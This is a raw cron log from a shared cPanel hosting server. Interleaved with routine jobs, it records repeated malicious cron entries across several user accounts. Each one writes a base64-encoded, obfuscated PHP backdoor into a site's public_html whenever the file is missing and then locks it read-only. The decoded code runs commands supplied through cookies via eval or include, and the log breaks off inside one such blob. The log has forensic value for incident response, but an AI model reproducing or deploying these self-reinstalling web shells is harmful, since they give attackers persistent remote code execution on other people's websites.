Mar  1 09:12:01 medusa CROND[9002]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:12:01 medusa CROND[9021]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:13:01 medusa CROND[31068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:13:01 medusa CROND[31181]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:13:01 medusa CROND[31182]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 09:13:01 medusa CROND[31183]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 09:13:01 medusa CROND[31184]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:13:01 medusa CROND[31185]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 09:13:02 medusa CROND[31189]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:13:02 medusa CROND[31190]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:13:02 medusa CROND[31191]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:13:02 medusa CROND[31193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:13:02 medusa CROND[31196]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:13:02 medusa CROND[31197]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:13:02 medusa CROND[31200]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:13:02 medusa CROND[31201]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:14:01 medusa CROND[20812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:14:01 medusa CROND[20813]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:14:01 medusa CROND[20814]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:14:01 medusa CROND[20815]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:14:01 medusa CROND[20816]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:14:01 medusa CROND[20818]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:14:01 medusa CROND[20819]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:14:01 medusa CROND[20831]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:14:01 medusa CROND[20832]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 09:14:01 medusa CROND[20833]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:14:01 medusa CROND[20834]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:14:01 medusa CROND[20838]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:14:01 medusa CROND[20839]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIp